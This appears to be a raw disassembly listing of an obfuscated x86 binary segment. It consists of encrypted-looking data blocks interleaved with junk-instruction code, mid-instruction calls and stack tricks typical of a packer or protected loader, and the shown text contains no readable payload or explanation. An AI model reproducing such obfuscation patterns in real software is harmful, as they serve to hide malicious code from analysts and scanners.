		dd 0A19B8498h, 0FF762C18h, 31BCB85Dh, 3ADC7891h, 0AE6FC40h
		dd 0B953C457h, 0B5BB79C8h, 51EBB937h, 1E1709C4h, 0F33FF4DBh
		dd 7FF913BFh, 6C522FF6h, 0DEC84CDBh, 0EF9FE276h, 212B36D5h
		dd 0B9569FFh, 730A1696h, 16A4FE28h, 0A8F2BDAh, 0C3692873h
		dd 7A903CB1h, 82A824F8h, 315F2CF0h, 8ABE5C88h, 77F52D65h
		dd 61A253E1h, 8C1A9B9Fh, 26DFh,	0A0B3EB00h, 0C53E7E33h
		dd 2D2F305Ch, 0C92AF01Ch, 0A43A6824h, 92189F12h, 0A4FE37B5h
		dd 9CDE7C58h, 29BC11h, 78C60000h, 7026A5EDh, 0A5215931h
		dd 8E14E86Ch, 9C1E76A2h, 0C23E730Ah, 2DADE31Fh,	38F084A9h
		dd 3042E8E4h, 90A521BDh, 78BE0CE4h, 0F74339DCh,	2E67D3C3h
		dd 0BE4C56AEh, 0BAFAB737h, 5A305CC4h, 0F35B4748h, 0D2D41C5Ch
		dd 7A9C38h, 0C5555928h,	0AB45305Ch, 5CC4B6F6h, 2C06A730h
		dd 3386210Fh, 5E94163h,	0E10B479Fh, 4E584F97h, 930E7486h
		dd 305C6513h, 0CD11A7FDh, 76177BB7h, 5AAE5383h,	0A855E9Dh
		dd 0B09DE190h, 0C18D305Ch, 595948D0h, 0BB305CB1h, 0FD8B5BE9h
		dd 5CB10484h, 960C30h, 7BCBB144h, 0C7DD8169h, 1C339B35h
		dd 3602805Ch, 5CB15757h, 4AEBB930h, 83324CEEh, 0EDAA8A23h
		dd 8A9A98BFh, 729B42AEh, 14h, 6AB1DA8h,	66C9546Eh, 0A04A388Ah
		dd 0A8420ED6h, 35EB27CEh, 0FD7A14Ah, 77CFA943h,	78C4B45Bh
		dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h
		dd 55A9D367h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	7F1D878h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	3158h
		mov	[esp], edx
		pop	dword ptr [eax+8]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dd 70F32CD6h, 0D5C9E688h, 0B832D2B3h, 7F1DBC3h,	0E0FFC503h
		dd 33457CA7h, 50044688h, 5454E637h, 83F987h, 2E7AD1BFh
		dd 1E217F69h, 0FFC73A7h, 7407CB05h, 9BD3911h, 5FB66FA3h
		dd 54A30644h, 38C54D1h,	4BC2ABA7h, 46BF73BDh, 327B88D8h
		dd 5887EB2Ah, 32B2ED9Ah, 7EB2FE39h, 21C3DE9Ah, 3505BF60h
		dd 0C9805EA1h, 0F60614Bh, 158Fh, 0FE800h, 6B330000h, 0A6737084h
		dd 2E3996ABh, 0D9E99747h, 61F9590Dh, 2820Fh, 59510000h
		dd 1860Fh, 53FC0000h, 0E8A0Fh, 9E90000h, 0B2000000h, 73EFF3B9h
		dd 364F177h, 66D08B5Fh,	8BC5E2B9h, 0FE852F9h, 0CA000000h
		dd 0E076F566h, 84A1144Eh, 0E873B2C6h, 816663F6h, 5BD84EE6h
		dd 6061605Bh, 3810Fh, 8B660000h, 0AE8C7h, 66930000h, 8D5F95ECh
		dd 6D753E2Dh, 58F8B70Fh, 66CA8B61h, 8060DA8Bh, 0F6123D1h
		dd 0B80h, 58E0F00h, 66000000h, 0B9FCD681h, 0B66DBE66h
		dd 815AF556h, 0A0226DE7h, 18B16000h, 5C7ABB61h,	0BE667BBEh
		dd 81667928h, 8BA665EEh, 0C38BF5FBh, 9E8h, 7A28C100h, 39D00D6Bh
		dd 0E951FB10h, 0Ah, 0B907AFB6h,	0EDF738BEh, 5E58E73Ah
		dd 0B794D881h, 0BB666BA4h, 66FCD828h, 667C2DB8h, 3360EB81h
		dd 0A5F1D381h, 0FF84160h, 68Ah,	0BB665100h, 535FC8B4h
		dd 8C356BBAh, 81665B39h, 0F8791CC8h, 0CE860F5h,	0C9000000h
		dd 239C8324h, 0A252B9F3h, 8BA5464Eh, 870F5ECEh,	2, 0E8616160h
		dd 7, 48C8F1B3h, 0E88AD536h, 13h, 31F0B0FAh, 8866E7F5h
		dd 6B50588Ch, 0E03C7FE3h, 66653D94h, 4BF0DB81h,	0F953595Fh
		dd 62BA665Fh, 0FF18B98h, 58Ch, 834DBA00h, 8B6663D4h, 1800FC2h
		dd 0FC000000h, 0AEB96651h, 8B665BB5h, 14E9C3h, 0F44B0000h
		dd 0EAF94005h, 44E27BD7h, 0A54AE936h, 3D291DC4h, 850F4168h
		dd 7, 18D0Fh, 0E9F80000h, 6, 0B414336Dh, 0D4800EA5h, 2C850FC9h
		dd 60000000h, 10E9h, 5ED31500h,	0C7544B8Fh, 10CD591Bh
		dd 1BABB1AFh, 10E93Dh, 477C0000h, 0ADB1D945h, 0ACCC43ACh
		dd 72C27DF0h, 0F5616D90h, 9E960h, 87570000h, 36F8A49Fh
		dd 61EFAB85h, 64DEBB66h, 3870Fh, 0BF0F0000h, 0F38166D8h
		dd 0B8661FA6h, 0FE99499h, 14000000h, 0D705E53Dh, 0E20752FCh
		dd 27F57198h, 800F1910h, 7, 0C1816657h,	0B35BBF38h, 7E9602Dh
		dd 0F2000000h, 56FDEABFh, 0E961A5ECh, 0Bh, 83157B80h, 401CB31Fh
		dd 0F824576h, 128Ah, 0DE900h, 6CAC0000h, 0E0B10E9h, 42CE39F6h
		dd 8A102D17h, 7880FC7h,	60000000h, 0B5D68B66h, 0CE961F0h
		dd 0C6000000h, 92B15B3h, 34F7B93Eh, 0E8C8A42Fh,	5, 0EB030007h
		dd 0C781663Ah, 0F5A930Fh, 0B8Eh, 58C0F00h, 66000000h, 1F14E381h
		dd 5E9h, 0B8E4800h, 0C1B3577Ch,	0DBD38166h, 9E9FC3Eh, 9000000h
		dd 0E3C21471h, 0F5D5C3C4h, 0AFBF66F9h, 0F88A6003h, 0DFB70F61h
		dd 0E9FE8B66h, 0Ch, 0D5618EBEh,	7693E59Bh, 57F4226h, 32B4F5F8h
		dd 0DE9h, 0FDD3E200h, 4A1289C5h, 1C48FE30h, 10E813C7h
		dd 0CA000000h, 0BBA603CDh, 820E1F68h, 398DB3BEh, 8126A3ABh
		dd 49FE1D1h, 8B665A1Dh,	0C1F781C6h, 0E953DE78h,	5, 5730D942h
		dd 81666033h, 0B9E496CFh, 6295BDD8h, 5E861h, 4FAE0000h
		dd 81B03582h, 5C302EEAh, 0C18B590Dh, 226BB60h, 0CE9654Dh
		dd 5E000000h, 0FEA4954Bh, 0DA024854h, 61BD85B8h, 1C56C081h
		dd 8166283Eh, 60D116C0h, 11E9h,	1D31A800h, 2DBE5474h, 168B59B1h
		dd 0F311B58Bh, 8A0FF0C7h, 2, 0F615F57h,	18Dh, 0F60FC00h
		dd 288h, 61EC8A00h, 7924B966h, 10E9h, 0AD042800h, 0F195C641h
		dd 20E6C1BAh, 0CC2D5BA4h, 0E3D98076h, 4685CDBFh, 8A0F1Ch
		dd 0B3000000h, 98E0F16h, 0F000000h, 38Ch, 44DE8000h, 0E9C88B66h
		dd 0Ch,	0AD8EB2A3h, 0D6F9D433h,	1584AE97h, 0BE9h, 0E281F600h
		dd 81FC7C02h, 73AE0CA8h, 0F0DF8166h, 9E99Bh, 0C42F0000h
		dd 36EFB0DFh, 8B3FFC72h, 0DE9CFh, 39BE0000h, 1F562E46h
		dd 0D9F26Ch, 6041D025h,	13E9FCh, 6E250000h, 0C767E313h
		dd 0ADE4A1F4h, 7C6623A1h, 0D7640560h, 0B9516105h, 145B4B82h
		dd 8E859h, 198D0000h, 0FFA73326h, 665066E1h, 5B5FC78Bh
		dd 12E9h, 0D3A2C900h, 0F0F3ACBDh, 5CE57ABAh, 3111235Ah
		dd 0F876B24h, 7E8FFBFh,	0DE000000h, 0ACFA62DEh,	5FB1B766h
		dd 0F6B70F5Ah, 66FA8B66h, 512826BBh, 9E852h, 2EA50000h
		dd 0FD0AB9FBh, 5A557036h, 66605A5Bh, 0E92AF6BBh, 6, 93693310h
		dd 0F613BBAh, 6660F9B7h, 0BBB6F081h, 7E9h, 6E595A00h, 0FC59783Fh
		dd 0E217BE61h, 0BF0F7FD0h, 10D681F2h, 0B779D4F5h, 0DBE8B9C2h
		dd 0CE90E43h, 0DF000000h, 58DC79FDh, 0A9896A00h, 0B5AC3E32h
		dd 5BC08120h, 5709D210h, 0BE9h,	1CE19500h, 1FA9CC2Eh, 18E1F959h
		dd 21BF6658h, 0F5BB515Fh, 582BD4A1h, 42E18166h,	0C081660Bh
		dd 0F7805ED4h, 38F0F81h, 80000000h, 0F281F9F4h,	46630D88h
		dd 0E8D98B66h, 11h, 8BE65AB1h, 0EA64D265h, 9B11AD14h, 0F40F5861h
		dd 8DF180E9h, 0BA13B858h, 810F4C17h, 12h, 5E960h, 23E0000h
		dd 0FE75C40h, 8Bh, 19B06100h, 9E9h, 0DA7CE000h,	132B47F2h
		dd 0C080F92Eh, 6800F63h, 81000000h, 0B2DE73C1h,	0FE93Bh
		dd 91320000h, 7F2F957Ch, 982142E8h, 5FFEB66h, 0AE2BB879h
		dd 0C48048AFh, 4840F98h, 66000000h, 0FC8BDBEh, 28Bh, 0FF18B00h
		dd 584h, 0F5BCB900h, 0BA6634F1h, 66520850h, 0F95BC18Bh
		dd 21F4EA81h, 0AE90C07h, 7E000000h, 51489995h, 0C4436431h
		dd 8D0F5723h, 2, 8B5FDE8Bh, 9E8D6h, 2870000h, 22C8FB6Fh
		dd 0F2E528Dh, 0F5FFBB7h, 1E89h,	12E800h, 0FA5A0000h, 0F3BA9B74h
		dd 71C02BA6h, 716B6E0Dh, 0AA581646h, 8EEFF181h,	805A0653h
		dd 8A6088C2h, 11E9DCh, 26690000h, 0DFDC6683h, 1F66C498h
		dd 0CEADEB7Ch, 6159BDAEh, 0F2B70F60h, 0CE956h, 0AB3F0000h
		dd 7C16C279h, 522D030h,	615ACAAEh, 0DE2CBB66h, 0FFB70F60h
		dd 8161F78Bh, 0D4F732C0h, 12E93Fh, 715D0000h, 17A04D00h
		dd 5C1CBBBh, 658328Bh, 207F37F0h, 13E9h, 1FC4EF00h, 0CE0FB28Ah
		dd 63F27E78h, 6218CF86h, 0B25D74E4h, 11E9h, 0E5D53300h
		dd 0BDA13F6Dh, 7E64A6E2h, 2B1AD546h, 0C281CBC4h, 256BF560h
		dd 0AE9h, 80646000h, 5B53FFC9h,	663A64E2h, 8166C78Bh, 0E88724F6h
		dd 0Fh,	476C6210h, 725ECC75h, 0B1A3EC54h, 666BBCF7h, 0E85FCA8Bh
		dd 12h,	0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h, 816614B7h
		dd 5BFA6DEAh, 665850FCh, 6DA5F681h, 0DE9h, 105DF200h, 0D7F0661Fh
		dd 0ACEF181h, 0F9603B4Ch, 7E953h, 9AFE0000h, 0FCD08AB5h
		dd 60615A95h, 0BF66CE8Ah, 666100C0h, 0FDCE81h, 98A0Fh
		dd 8F0F0000h, 3, 0FCC88B66h, 6DE98166h,	0EE95Ah, 0E1870000h
		dd 0F89E4D5Eh, 8901E160h, 0BDDC0C76h, 8AD18B66h, 0EDBA66F4h
		dd 128F0F9Fh, 60000000h, 9E9h, 90BFB800h, 268951F0h, 0E9B0FD23h
		dd 0DE961h, 2AA50000h, 23274E45h, 91B20CCCh
		dd 0FCAC4FCh, 88Dh, 8F0F5100h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	si, bx
		mov	esi, 3FF9B94h
		and	bh, 0E0h
		pusha
		mov	ebx, 33AA51Dh
		pusha
		cld
		mov	edi, edx
		popa
		popa
		mov	dh, 0AAh
		sbb	ax, 4FB5h
		sbb	bx, 7978h
		push	edi
		mov	bx, 0F82Eh
		pop	edx
		pusha
		mov	dx, 0AB15h
		mov	bh, 4Ch
		popa
		mov	ebx, edi
		mov	esi, 1D170956h
		movsx	esi, dx
		jmp	loc_612266
; ---------------------------------------------------------------------------
		db 5Dh,	0BAh, 0A5h
		dd 1926CFF4h, 30917E89h, 71A4461Fh
; ---------------------------------------------------------------------------
		sub	ecx, edi


loc_612266:				; CODE XREF: sdfs____:00612250j
		mov	cl, 16h
		mov	bh, 4Ch
		sub	si, 3B38h
		jmp	loc_612284
; ---------------------------------------------------------------------------
		dd 0F5EA27CFh, 73F1EC42h, 8B0874D1h, 5A5866F7h
; ---------------------------------------------------------------------------


loc_612284:				; CODE XREF: sdfs____:0061226Fj
		mov	di, ax
		mov	di, ax
		adc	edi, 0A683F7Bh
		mov	edx, 6B65E45Ah
		jb	loc_6122A0
		mov	edi, 70623C30h


loc_6122A0:				; CODE XREF: sdfs____:00612295j
		sbb	dh, 54h
		jmp	loc_6122B1
; ---------------------------------------------------------------------------
		dd 0A427B90Eh, 59FAE40h
		db 0D9h
; ---------------------------------------------------------------------------


loc_6122B1:				; CODE XREF: sdfs____:006122A3j
		and	edi, 4DFE0FF5h
		jnz	loc_6122BF
		mov	bl, 0D5h


loc_6122BF:				; CODE XREF: sdfs____:006122B7j
		sub	ah, 24h
		mov	di, 0E76Dh
		call	sub_6122D6
		jmp	short near ptr loc_6122CB+1 ; CODE XREF: sdfs____:loc_6122CBj
; ---------------------------------------------------------------------------
		db 5, 79h, 94h
		dd 1FB37044h
		db 0E3h, 13h

; =============== S U B	R O U T	I N E =======================================



sub_6122D6	proc near		; CODE XREF: sdfs____:006122C6p
		mov	bh, 97h
		pop	eax
		pusha
		mov	ecx, 534229EAh
		mov	bl, 40h
		popa
		mov	ebx, 288F2BCFh
		jno	loc_6122FC
		pusha
		jmp	loc_6122F8
; ---------------------------------------------------------------------------
		db 2Fh
		db 90h
		db 80h,	45h, 2Ch
; ---------------------------------------------------------------------------


loc_6122F8:				; CODE XREF: sub_6122D6+18j
		mov	ax, cx
		popa


loc_6122FC:				; CODE XREF: sub_6122D6+11j
		cld
		mov	dx, ax
		sub	eax, 2563A478h
		mov	ecx, esi
		mov	dx, ax
		sbb	di, 0F686h
		and	esi, 653B35B4h
		mov	ax, 8568h
		mov	ah, dl
		mov	ecx, eax
		pusha
		movsx	edx, di
		mov	esi, eax
		popa
		add	dh, 0EAh
		jmp	loc_612334
; ---------------------------------------------------------------------------
		scasb
		cmp	esi, edx
		xlat
		push	edi
		nop
		cwde


loc_612334:				; CODE XREF: sub_6122D6+52j
		jle	loc_612343
		pusha
		pusha
		popa
		or	cx, 0C250h
		popa


loc_612343:				; CODE XREF: sub_6122D6:loc_612334j
		xor	ecx, 0EFE24D6h
		cmc
		adc	eax, 53A8519Eh
		push	ebx
		mov	si, 6847h
		pop	edx
		movsx	ecx, ax
		call	near ptr loc_612361+3
		sahf
		movsb
		dec	ecx


loc_612361:				; CODE XREF: sub_6122D6+83p
		mov	edx, 0E85B66E9h
sub_6122D6	endp ; sp-analysis failed

		adc	[eax], eax
; ---------------------------------------------------------------------------
		dd 74240000h, 0F9EF591Dh, 96A80AFh, 9948D15Fh, 0E878ADC5h
		dd 0Ah,	92BED3F5h, 312A6908h, 0B966306Fh, 5F5ADD90h, 0FD38B66h
		dd 28Dh, 0FFE8B00h, 0BE9F7B7h, 0EA000000h, 43CBEDCEh, 0E444C8DDh
		dd 0F516DE6h, 505FFEB7h, 2AC5DE81h, 0F55F034Bh,	8119F781h
		dd 6E971A0h, 0BA000000h, 0C83D4961h, 11E9F824h,	0EA000000h
		dd 0BD1DF00Ch, 0F31FC306h, 6F06D1F5h, 9798287Fh, 5C07B866h
		dd 0E9F78B66h, 0Bh, 0D837C39Eh,	0DA0CF444h, 66413722h
		dd 0E9FB3BBBh, 0Fh, 273F43CDh, 0EDCAABDAh, 0C3E5CB4Fh
		dd 663B0884h, 12E9F98Bh, 0E6000000h, 0BACC11A4h, 0AAF24F9Eh
		dd 0BED05CBBh, 0EB44EDF1h, 9E9B5h, 0B67E0000h, 0B1790802h
		dd 0E9A9F8CDh, 0Ah, 0D1EC2261h,	0EB15F3BFh, 0E9F5D944h
		dd 0Dh,	5EDBB0ABh, 0C877E07h, 14E5821Fh, 32D38196h, 6623C59Ah
		dd 0BE8D98Bh, 0AC000000h, 0A09E05D2h, 9374723Eh, 81663417h
		dd 5884DAC7h, 14E9h, 61AA8000h,	0C1C05B59h, 8F3497ACh
		dd 64661C1h, 0B83BAD46h, 0E281663Ch, 0D48A67D0h, 0F8DADE81h
		dd 66562906h, 59C230BFh, 8BFE8B66h, 0F60F5D6h, 68Fh, 43EA8100h
		dd 617F238Dh, 0B05ACA80h, 12E874h, 35E50000h, 0AFE915F9h
		dd 0E59C6D30h, 2EDC874Eh, 0E8BC068Ch, 9594B966h, 0B966F95Bh
		dd 14E9C796h, 90000000h, 0F69FC960h, 0B39CF318h, 0C082F08Bh
		dd 0B7341FAEh, 0E96BF660h, 0Dh,	0E699DB41h, 3FFAA7C8h
		dd 0FF7B3294h, 5EF28015h, 0D881D08Bh, 158874C4h, 9E96AB2h
		dd 42000000h, 61BFED5h,	10254001h, 5810Fh, 81660000h, 667C72E9h
		dd 0FCE06BAh, 8F0FFFBFh, 1, 0CE8B66F5h,	0FDA1BA66h, 7276E181h
		dd 8B661E93h, 0EE8CEh, 8FF30000h, 86557596h, 0E4CF8259h
		dd 7CB9B5C3h, 0DA816658h, 41B30BE9h, 0F281F28Bh, 3933AC9Ch
		dd 80D0B70Fh, 8166E5F0h, 6010D0EFh, 0D2BF0FF8h,	84BF6661h
		dd 0CE96Ah, 9F0C0000h, 78A008D3h, 3F6C3AD0h, 6060D716h
		dd 6E9h, 0C6BE9F00h, 810904C4h,	371410C9h, 61F86175h, 0D3A9D881h
		dd 0E95675F3h, 7, 2AED27A8h, 5FCAD85Dh,	0C78BD78Bh, 10E9h
		dd 28DCA900h, 19B30ACFh, 0D3CC78DCh, 0D6AF5FA7h, 1840FBDh
		dd 0FC000000h, 0F6816652h, 565ECB5Eh, 2DD7DDBFh, 0BF0F5870h
		dd 0D2B966DEh, 7E99Bh, 0DF360000h, 24064432h, 0D18B60C6h
		dd 6134C380h, 0B860Fh, 8C0F0000h, 5, 0C040E3B8h, 0F9F28B35h
		dd 0EB8F860h, 61320819h, 0BFD08B66h, 152126E4h,	66D6B70Fh
		dd 6651FE8Bh, 5ED6D5B9h, 5079C080h, 1FBB665Ah, 60DA8B25h
		dd 0F5E7BB66h, 28E0Fh, 0FB8B0000h, 0FEBF0F61h, 0C3EB8060h
		dd 9E9h, 243DCD00h, 82D050B7h, 0F619AE0h, 8Ah, 0B6F38A00h
		dd 10E8FBh, 0D6A80000h,	527BE7F0h, 0B2B21FFCh, 62D159C7h
		dd 0B70F8FA3h, 0F98A5BD7h, 0E591F181h, 0BE931CBh, 99000000h
		dd 5941D68Bh, 142982FBh, 0BF0F96BAh, 5860FCFh, 66000000h
		dd 746FCA81h, 6800Fh, 0CE810000h, 76A64E4Fh, 9FF61ABBh
		dd 94B86036h, 0BA538467h, 621378D0h, 0D18B6661h, 0E081C68Bh
		dd 4A0680BEh, 0E960DEB3h, 0Eh, 0A66A274Fh, 479A207Ch, 2D98AEC3h
		dd 8B60745Bh, 666161C7h, 8160F18Bh, 20C4E0D7h, 8E877h
		dd 0E7EE0000h, 617763D9h, 0BF0FAE1Ch, 81615FC6h, 0E906BEDBh
		dd 0EE86Eh, 7E460000h, 8BF1B4B0h, 0EE5B8FEEh, 91FCEC5Fh
		dd 820F5EF9h, 18h, 12820Fh, 0DE90000h, 4000000h, 5620E86Dh
		dd 0DF80AAE9h, 818CFF9Ch, 0EB816660h, 14E8E16Ch, 1F000000h
		dd 40379BCFh, 0EB394D3Bh, 20732C8h, 55E828EFh, 0FE0F1BBh
		dd 8Dh,	66615B00h, 81036EBEh, 3C208ACFh, 0E8CE8B02h, 13h
		dd 4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh, 662390E8h
		dd 330CB81h, 7E959h, 90D90000h,	8B091E0Ah, 6EB260E6h, 505A5260h
		dd 0FC616159h, 2860FF9h, 8B000000h, 4E51BED6h, 14E91D91h
		dd 35000000h, 8C9911BBh, 0F374129Bh, 4D6F84B8h,	0C4CC5B25h
		dd 0F9B2641Ah, 0A6D08166h, 0BE96034h, 3000000h,	6C0DCF21h
		dd 686B57B8h, 0EC80DEEFh, 0C4B1618Ch, 0CE9h, 96202800h
		dd 96DA68D0h, 0EB20738Ah, 8B66F921h, 8B6660C6h,	8B61FCCBh
		dd 7850FF7h, 60000000h,	9530B866h, 0DF8161F8h, 4CCE4BF2h
		dd 0F88B6650h, 10E85Eh,	870A0000h, 65344558h, 6237FDE5h
		dd 3650CD19h, 8060ABADh, 0D08BF6EEh, 0BF535F61h, 3503BCA8h
		dd 0F18B665Ah, 0FF18BF8h, 8B66C7BFh, 0B20FB5CEh, 0EF816616h
		dd 0BF66A600h, 0BE9C95Fh, 69000000h, 8DFB5228h,	51D9A591h
		dd 6EB301B0h, 8166D48Ah, 669CEEEBh, 0E91D58BEh,	9, 4FC49FE7h
		dd 2BE86E38h, 0F0E28172h, 0F097D7Ah, 0B966C1BFh, 8166C81Dh
		dd 0E8C52AD3h, 13h, 0F94D7B18h,	14DEB83Dh, 6F40EBF1h, 0B820AA09h
		dd 8ADE222Bh, 0E9F95AF9h, 12h, 132FB9C6h, 0D10D52D2h, 0C699FB4Eh
		dd 30B4E1BDh, 0F2805BB8h, 8B0FFEh, 0E9000000h, 0Eh, 25243BE9h
		dd 0BA9A350Ch, 4D72215Ch, 8B66588Ah, 720BB8C7h,	8B660334h
		dd 5EF950F1h, 14E9h, 0B26A7B00h, 0B8EF922Fh, 32967240h
		dd 3DDAC975h, 0B5F35F1Bh, 0E2B0BFE9h, 0CE8B786Dh, 0FD98B66h
		dd 580h, 0B1E2B800h, 0DE812FEAh, 714866CCh, 1A06BF66h
		dd 5810Fh, 17BB0000h, 0F38C375h, 0C8Ah,	6850F00h, 81000000h
		dd 423EB3D0h, 850F6009h, 0
; ---------------------------------------------------------------------------
		and	edi, 4C09346Ch
		popa
		stc
		cmc
		pusha
		js	$+6
		movsx	edi, si
		popa
		mov	eax, 1805CD64h
		mov	edi, 28C69369h
		push	ecx
		adc	dx, 0BB19h
		pop	esi
		jnz	loc_61298D
		mov	ebx, eax


loc_61298D:				; CODE XREF: sdfs____:00612985j
		mov	ecx, 4DD76BFAh
		mov	ax, di
		jmp	loc_6129AC
; ---------------------------------------------------------------------------
		dw 0C900h
		dd 3F85827Fh, 9F86B349h, 7D95BAADh, 0BD588FD5h
; ---------------------------------------------------------------------------


loc_6129AC:				; CODE XREF: sdfs____:00612995j
		and	dx, 0E2E5h
		mov	edi, 29F4FF7h
		add	dl, 73h
		jmp	loc_6129C6
; ---------------------------------------------------------------------------
		dw 2AD7h
		dd 1553219Fh
		db 4Bh,	0BAh
; ---------------------------------------------------------------------------


loc_6129C6:				; CODE XREF: sdfs____:006129B9j
		call	near ptr loc_6129D1+4
		mov	ss:[edx+39h], bh
		push	edx


loc_6129D1:				; CODE XREF: sdfs____:loc_6129C6p
		and	bh, [edi+5658245Ah]
		pop	edi
		movsx	ecx, si
		pusha
		mov	eax, 39EE7FD2h
		push	ebx
		mov	edx, esi
		pop	edx
		popa
		mov	cx, 4BF6h
		ja	loc_6129F5
		or	ax, 28BEh


loc_6129F5:				; CODE XREF: sdfs____:006129EAj
		movsx	esi, di
		xor	di, 0C630h
		sub	dh, 6Eh
		movzx	ecx, di
		mov	dx, cx
		mov	dx, 95FDh
		mov	dx, 431Fh
		pusha
		mov	ecx, ebx
		call	near ptr loc_612A21+3
		jo	short near ptr loc_612A21+5
		or	eax, 0F1731135h
		mov	cl, dl
		and	edx, esi


loc_612A21:				; CODE XREF: sdfs____:00612A11p
					; sdfs____:00612A16j
		mov	ds:67CA8176h, ecx
		mov	esp, 615E734Ch
		jmp	loc_612A42
; ---------------------------------------------------------------------------
		db 0C8h, 2Dh, 0Bh
		dd 89BB8DD5h, 7F7CF378h, 920A2C9Fh
		db 0FCh, 0DFh
; ---------------------------------------------------------------------------


loc_612A42:				; CODE XREF: sdfs____:00612A2Cj
		pusha
		adc	dx, 0CC34h
		xor	esi, 3D3E8F8Fh
		popa
		xor	ax, 0D575h
		sbb	bl, 8Bh
		mov	bx, dx
		stc
		mov	bh, 0CAh
		mov	di, 0C72Fh
		call	sub_612A73
; ---------------------------------------------------------------------------
		dw 9A16h
		dd 332F59DDh, 9F4EF5Eh
		db 0F1h, 0C6h, 45h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_612A73	proc near		; CODE XREF: sdfs____:00612A61p
		mov	ecx, 0E278562h
		pop	esi
		call	sub_612A8A
		jmp	near ptr 79937D2Ch
sub_612A73	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebx
		mov	al, ds:79DF8355h
		push	cs

; =============== S U B	R O U T	I N E =======================================



sub_612A8A	proc near		; CODE XREF: sub_612A73+6p
		mov	eax, 68E78D52h
		pop	ecx
		call	sub_612A9D
		sub	al, 4Eh
		call	near ptr 55F970A7h
		stosd
sub_612A8A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_612A9D	proc near		; CODE XREF: sub_612A8A+6p
		mov	ecx, edi
		pop	eax
		jnb	loc_612AAC
		sub	ebx, 1A39C1E8h


loc_612AAC:				; CODE XREF: sub_612A9D+3j
		movzx	ecx, dx
		mov	edi, 664D1066h
		mov	eax, ebx
		mov	esi, ecx
		or	ebx, 261CC7A9h
		jmp	loc_612ACC
; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		mov	fs, cx
		daa
		fmul	qword ptr [esi+58h]
		mov	dl, 0A5h


loc_612ACC:				; CODE XREF: sub_612A9D+21j
		mov	dh, bl
		jnb	loc_612AD7
		movzx	edi, di


loc_612AD7:				; CODE XREF: sub_612A9D+31j
		mov	edi, 4ED34A5Eh
		pusha
		jnz	loc_612AE8
		sbb	cx, 10CCh


loc_612AE8:				; CODE XREF: sub_612A9D+40j
		mov	si, 0E09Bh
		popa
		mov	esi, 26EC57D6h
		pusha
		pusha
		mov	eax, 5C05F0EBh
		popa
		clc
		popa
		mov	ebx, 658A5CE0h
		pusha
		stc
		ja	loc_612B0B
		push	edx
		pop	ebx


loc_612B0B:				; CODE XREF: sub_612A9D+66j
		popa
		mov	esi, 152A7568h
		jmp	loc_612B1B
; ---------------------------------------------------------------------------
		mov	dh, 0FCh
		xor	esp, 0FFFFFFFDh


loc_612B1B:				; CODE XREF: sub_612A9D+74j
		call	near ptr loc_612B25+1
		cmp	[edi], esp
		and	al, 11h
		dec	esp


loc_612B25:				; CODE XREF: sub_612A9D:loc_612B1Bp
		push	14E9h
sub_612A9D	endp ; sp-analysis failed

		add	ch, cl
		idiv	byte ptr [esi-20h]
		mov	byte ptr [esi],	0C6h
		pop	esp
		or	eax, 2188612Bh
		out	80h, al		; manufacture's diagnostic checkpoint
		cmp	ecx, [ebp+58A99C51h]
		call	sub_612B51
		xchg	eax, ecx
		mov	edi, 0EA87BCB3h
		push	ebp
		test	[eax], ecx
		ror	byte ptr [ecx+48h], cl

; =============== S U B	R O U T	I N E =======================================



sub_612B51	proc near		; CODE XREF: sdfs____:00612B40p
		mov	ecx, 58CF15E2h
		pop	edi
		mov	dl, 0ACh
		jmp	loc_612B66
; ---------------------------------------------------------------------------
		dw 8564h
		dd 1ABE8BA1h
		db 0C6h, 78h
; ---------------------------------------------------------------------------


loc_612B66:				; CODE XREF: sub_612B51+8j
		or	bl, 47h
		mov	bh, 21h
		pusha
		add	ecx, 6F6578DBh
		mov	cl, bl
		popa
		xor	bh, 1Bh
		movzx	edi, bx
		push	ebx
		movsx	eax, si
		pop	eax
		jp	loc_612B88	; CODE XREF: sub_612BC8+38j
		mov	dl, 1Ch


loc_612B88:				; CODE XREF: sub_612B51+2Fj
		add	di, 8ED8h
		mov	dl, 4Dh
		jmp	loc_612B9D
; ---------------------------------------------------------------------------
		dd 952AD556h
		db 0EDh, 0A0h
; ---------------------------------------------------------------------------


loc_612B9A:				; CODE XREF: sub_612B51+6Dj
		mul	dword ptr [ebp-7Ah]


loc_612B9D:				; CODE XREF: sub_612B51+3Ej
		jmp	loc_612BB6
; ---------------------------------------------------------------------------
		dw 2A7Bh
		dd 76C428DBh, 433B4E11h, 0AD6E2CDh, 0FAE0A264h
		db 0A2h, 0A6h
; ---------------------------------------------------------------------------


loc_612BB6:				; CODE XREF: sub_612B51:loc_612B9Dj
		call	sub_612BC8
		test	ebp, ebp
		nop
		jle	short loc_612B9A
		dec	esp
		imul	ecx, [edi+56CB8A9Eh], -4Eh
sub_612B51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_612BC8	proc near		; CODE XREF: sub_612B51:loc_612BB6p
		cld
		pop	edi
		and	ebx, 5A289394h
		jmp	loc_612BDF
; ---------------------------------------------------------------------------
		db 58h,	93h, 7Bh
		dd 3EB8ABEh
		db 0A4h, 5Ch, 6Bh
; ---------------------------------------------------------------------------


loc_612BDF:				; CODE XREF: sub_612BC8+8j
		mov	bx, si
		jmp	loc_612BEC
